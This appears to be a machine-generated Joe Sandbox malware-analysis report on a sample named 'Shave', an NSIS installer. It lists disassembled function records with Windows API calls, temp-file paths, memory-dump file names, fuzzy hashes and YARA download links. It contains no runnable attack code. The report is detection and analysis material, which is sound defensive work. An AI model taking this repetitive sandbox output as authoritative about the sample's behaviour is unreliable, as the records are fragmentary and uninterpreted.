Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsa5D43.tmp$C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll
API String ID: 3109718747-3128672583
Opcode ID: 2806917471d26587652065b68c97e9d93b9fed1128aa7c726bb62807fa0de6fb
Instruction ID: 4bb1670e371a3de23f361dcee459543bcfcf4636ee0f51b5b5a9e7d0ab821041
Opcode Fuzzy Hash: 2806917471d26587652065b68c97e9d93b9fed1128aa7c726bb62807fa0de6fb
Instruction Fuzzy Hash: DB11CB72A05300BEDB046FB18E8999F7664AF54399F20843FF502F61D1D9FC89415B5E

Function 6F9718DD Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6F97193E
GlobalFree.KERNEL32(?), ref: 6F971ADE
GlobalFree.KERNEL32(?), ref: 6F971AE3

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 47851ca925c4dafe9f47323cc165c362acc9b55516abc9bf460e7b858e534f36
Instruction ID: 86150b22d06648efdcf461b3072344060ee21d9f68b9dfeef76099e9ab7aa54a
Opcode Fuzzy Hash: 47851ca925c4dafe9f47323cc165c362acc9b55516abc9bf460e7b858e534f36
Instruction Fuzzy Hash: 9651C631D043599B8BB99FB885605ADBBB9EF97354B10426BD410A71C0EF70FAC18B91

Function 6F972398 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6F9724DA

Part of subcall function 6F97122C: lstrcpynW.KERNEL32(00000000,?,6F9712DF,00000019,6F9711BE,-000000A0), ref: 6F97123C

GlobalAlloc.KERNEL32(00000040), ref: 6F972460
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6F97247B

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 964d3c33c461d5fea706ba6121f0215d4f4c69059f746ab14d9b37de8a9f1ee8
Instruction ID: a22b54aa16595637f0ecc5e6cf7c17c4078b3ee921ad7a3a8395e86f52b73f8c
Opcode Fuzzy Hash: 964d3c33c461d5fea706ba6121f0215d4f4c69059f746ab14d9b37de8a9f1ee8
Instruction Fuzzy Hash: 1E41CAB0128705EFD7349F39D844A6677E8FB96320B004A5EE546CA5C2EF30E585CF61

Function 6F971621 Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6F9721F0,?,00000808), ref: 6F971639
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6F9721F0,?,00000808), ref: 6F971640
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6F9721F0,?,00000808), ref: 6F971654
GetProcAddress.KERNEL32(6F9721F0,00000000), ref: 6F97165B
GlobalFree.KERNEL32(00000000), ref: 6F971664

Memory Dump Source

Source File: 00000000.00000002.2386745512.000000006F971000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F970000, based on PE: true

Associated: 00000000.00000002.2386728456.000000006F970000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386788272.000000006F973000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2386807263.000000006F975000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f970000_Shave.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 917ed7d6600c0dff7818a391e4f8336214910dfb5ecef316da52116e435dc974
Instruction ID: 6e6ef1001e5c97f3211b41ddf54d6550d06aed20a624b0f7deb1c53214048d33
Opcode Fuzzy Hash: 917ed7d6600c0dff7818a391e4f8336214910dfb5ecef316da52116e435dc974
Instruction Fuzzy Hash: F6F0AC7220A6387BEA2116B78C4DC9BBE9CDF8B2F5B110215F6289219096619D11DBF1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 9f3e8361c5455c25eedd40ad678b741ea6618978e593034b97affd3e1747e9e4
Instruction ID: 7e4da700d615158f321032e6dee441e0afa22e46251462cde10931eea5e4b44d
Opcode Fuzzy Hash: 9f3e8361c5455c25eedd40ad678b741ea6618978e593034b97affd3e1747e9e4
Instruction Fuzzy Hash: 59F0EC72A04518AFDB41DBE4DE88CEEB7BCEB48301B14446AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction ID: 5915ba61491c244e76e1eaab0aa102c6a5e0f3d841db56a12d121f6c77e1b82d
Opcode Fuzzy Hash: 3974eff3514ac80dd6c1aa8123252385dbc5481e5078a21275b56949e15273d0
Instruction Fuzzy Hash: E621C371948209AEEF049FB5DE4AABE7BB4EF84304F14443EF605F61D0D7B889409B18

Function 00404ABB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007A1F20,007A1F20,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B5C
wsprintfW.USER32 ref: 00404B65
SetDlgItemTextW.USER32(?,007A1F20), ref: 00404B78

Strings

%u.%u%s%s, xrefs: 00404B46

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: e544acf4f0842c60a9c18385703c419e840f736fd1e164df9e130a51ba0441a7
Instruction ID: c6a8333de7f2a0e63f9e82a7fb0d3590b97a2c0368f8d4fe0eecd184368e2ceb
Opcode Fuzzy Hash: e544acf4f0842c60a9c18385703c419e840f736fd1e164df9e130a51ba0441a7
Instruction Fuzzy Hash: 5711DB736041282BDB00656D9C41F9E329CDB86334F15423BFB25F21D1D978DC1186E8

Function 00405C17 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,?,75923420,004059C9,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 00405C25
CharNextW.USER32(00000000), ref: 00405C2A
CharNextW.USER32(00000000), ref: 00405C42

Strings

C:\Users\user\AppData\Local\Temp\nsa5D43.tmp, xrefs: 00405C18

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsa5D43.tmp
API String ID: 3213498283-1113152414
Opcode ID: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction ID: 6a9d977fbe5713998eb834b7ad01fe533960ca492682b5c2b36711c34b001c28
Opcode Fuzzy Hash: 92222cf075acf2fbc044c76267536a24963eff6ee4d7f8d65295f56b9dd724d0
Instruction Fuzzy Hash: DDF0F061808B1095FB3176644C88E7B66BCEB55360B04803BE641B72C0D3B84DC18EAA

Function 00405B6C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403359,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 00405B72
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403359,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004035B6,?,00000006,00000008,0000000A), ref: 00405B7C
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405B8E

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B6C

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 803477e47080facc391f0cecd2807ccdb00b9d1fdb40608b9d44cb66137c19bb
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: 3BD0A731501A30AAC111BB449D04DDF72ACDE45304342047FF101B31A2C7BC2D5287FD

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1341f91fd8d518b2ca140e0133bcf02bd0ea54a7f691716fe820626e10176459
Instruction ID: 4ebe2cb43181949e29f1e9fb79ae388d5d3e17bd3db4e8cfc4c1202d027f6d8e
Opcode Fuzzy Hash: 1341f91fd8d518b2ca140e0133bcf02bd0ea54a7f691716fe820626e10176459
Instruction Fuzzy Hash: FB116A32500108FBDF02AB90CE49FEE7B7DAF44340F110076B905B51E1E7B59E21AB58

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403059,00000001,?,00000006,00000008,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction ID: b514363a92e965461d88eaa206c20d0702a544c8e4880045d1c7c79aac8a479e
Opcode Fuzzy Hash: 642f8ca692fd152fc603be3dcb1ebc0d266b07749ec13cb5d5f59d94c884d359
Instruction Fuzzy Hash: 3AF05E30966A21EBC6606B24FE8CA8B7B64FB44B01711887BF001B11B4DA7C4892CBDC

Function 00405C74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406297: lstrcpynW.KERNEL32(?,?,00000400,0040343D,007A7A20,NSIS Error,?,00000006,00000008,0000000A), ref: 004062A4

Part of subcall function 00405C17: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,?,75923420,004059C9,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C42

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,?,75923420,004059C9,?,C:\Users\user\AppData\Local\Temp\,75923420,00000000), ref: 00405CCD
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,C:\Users\user\AppData\Local\Temp\nsa5D43.tmp,?,?,75923420,004059C9,?,C:\Users\user\AppData\Local\Temp\,75923420), ref: 00405CDD

Strings

C:\Users\user\AppData\Local\Temp\nsa5D43.tmp, xrefs: 00405C7A, 00405C7F, 00405C85, 00405CC6, 00405CCC, 00405CD4, 00405CDC

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2342217164.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shave.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsa5D43.tmp
API String ID: 3248276644-1113152414
Opcode ID: f876970076993f733f9246bd8c2efe22564afd40dcf2357ec22258bdd39e6079
Instruction ID: 850bfc7ffc9f89e8bebb6f59b63454ed566b5c4d810398842941662e03732b0e
Opcode Fuzzy Hash: f876970076993f733f9246bd8c2efe22564afd40dcf2357ec22258bdd39e6079
Instruction Fuzzy Hash: 82F0D625019F5216F622363A4D09AAF1954CE82364B0A013FF891722C1DB3C8942DD6E

Function 00406165 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,007A0F00,00000000,?,?,Call,?,?,004063D9,80000002), ref: 004061AB
RegCloseKey.ADVAPI32(?,?,004063D9,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,007A0F00), ref: 004061B6

Strings

Call, xrefs: 0040616C

Memory Dump Source

Source File: 00000000.00000002.2341855060.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2341825897.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341879473.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2341891387.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
